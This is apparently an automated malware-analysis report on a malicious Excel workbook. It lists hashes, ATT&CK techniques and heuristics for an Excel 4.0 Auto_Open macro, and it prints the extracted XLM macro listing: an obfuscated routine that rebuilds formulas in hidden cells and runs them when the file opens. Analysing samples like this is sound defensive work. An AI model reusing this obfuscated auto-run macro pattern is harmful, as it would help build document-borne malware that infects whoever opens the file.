Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e780c9d4c5cc30a2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:33 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 3b82cf5b845e889f9a717e2d597d2633 SHA-1: 10e6d753025b144bafa2521f566489ea5b2bdb1f SHA-256: e780c9d4c5cc30a2e0c96d9fc2aeb503d565ac78f742af78cb7a4a5427f22650
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel file containing Excel 4.0 macros, indicated by the OLE_XLM_AUTOOPEN and OLE_XLM_DANGEROUS_FN heuristics. The presence of an Auto_Open macro suggests an attempt to automatically execute code when the workbook is opened. The dangerous formula APIs used in the macro further indicate malicious intent, likely to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6544 bytes
SHA-256: a86e57748f6fa3fb5807e52f3b85a14afcb2b2d1aab368ccd84f21004140ef30
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hymHebhU
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F185 
' 0018     24 LABEL : Cell Value, String Constant - CNOjfRSOE len=0 
' 0018     21 LABEL : Cell Value, String Constant - EKeets len=0 
' 0018     20 LABEL : Cell Value, String Constant - FDOHo len=0 
' 0018     24 LABEL : Cell Value, String Constant - fUjUhVNNt len=0 
' 0018     20 LABEL : Cell Value, String Constant - hIkMG len=0 
' 0018     20 LABEL : Cell Value, String Constant - JNLMc len=0 
' 0018     24 LABEL : Cell Value, String Constant - LZCBnPbua len=0 
' 0018     23 LABEL : Cell Value, String Constant - MfUaSNbG len=0 
' 0018     24 LABEL : Cell Value, String Constant - nuZdgxdFe len=0 
' 0018     24 LABEL : Cell Value, String Constant - NwErgircH len=0 
' 0018     25 LABEL : Cell Value, String Constant - opwYaQWQRx len=0 
' 0018     21 LABEL : Cell Value, String Constant - pLALWn len=0 
' 0018     21 LABEL : Cell Value, String Constant - QORPro len=0 
' 0018     21 LABEL : Cell Value, String Constant - RPXeFM len=0 
' 0018     25 LABEL : Cell Value, String Constant - sZBphddCmJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - tQJII len=0 
' 0018     20 LABEL : Cell Value, String Constant - uengf len=0 
' 0018     23 LABEL : Cell Value, String Constant - wolQyAgp len=0 
' 0018     25 LABEL : Cell Value, String Constant - xGYbfUcLNx len=0 
' 0018     27 LABEL : Cell Value, String Constant - XMnvwonGOiOr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hymHebhU,F92,"SET.NAME("uengf",VALUE("0"))",""
'  hymHebhU,F97,"SET.NAME("wolQyAgp",uengf)",""
'  hymHebhU,F102,"SET.NAME("pLALWn",uengf)",""
'  hymHebhU,F105,"SET.NAME("sZBphddCmJ",COUNTA(xGYbfUcLNx))",""
'  hymHebhU,F110,"SET.NAME("NwErgircH",COUNTA(LZCBnPbua))",""
'  hymHebhU,F113,[],""
'  hymHebhU,F115,"SET.NAME("QORPro","")",""
'  hymHebhU,F118,"wolQyAgp",""
'  hymHebhU,F120,"SET.NAME("hIkMG",HLOOKUP("*",xGYbfUcLNx,wolQyAgp,FALSE))",""
'  hymHebhU,F123,"CNOjfRSOE",""
'  hymHebhU,F127,"SET.NAME("FDOHo",uengf)",""
'  hymHebhU,F129,[],""
'  hymHebhU,F134,"FDOHo",""
'  hymHebhU,F139,"XMnvwonGOiOr",""
'  hymHebhU,F143,"nuZdgxdFe",""
'  hymHebhU,F148,"tQJII",""
'  hymHebhU,F151,"SET.NAME("fUjUhVNNt",VALUE(HLOOKUP("*",LZCBnPbua,tQJII,FALSE)))",""
'  hymHebhU,F154,"opwYaQWQRx",""
'  hymHebhU,F157,"QORPro",""
'  hymHebhU,F160,"pLALWn",""
'  hymHebhU,F162,NEXT(),""
'  hymHebhU,F167,"EKeets",""
'  hymHebhU,F170,"SET.NAME("f",INT(T(FORMULA(T(QORPro)&"",""&T(EKeets)))))",""
'  hymHebhU,F174,"RPXeFM",""
'  hymHebhU,F178,NEXT(),""
'  hymHebhU,F180,RETURN(),""
'  hymHebhU,F213,"SET.NAME("MfUaSNbG",F92)",""
'  hymHebhU,F217,"xGYbfUcLNx",""
'  hymHebhU,F219,"SET.NAME("LZCBnPbua",R86C13)",""
'  hymHebhU,F221,"SET.NAME("RPXeFM",231)",""
'  hymHebhU,F226,"SET.NAME("JNLMc",6)",""
'  hymHebhU,F230,MfUaSNbG(),""
'  hymHebhU,F231,HALT(),""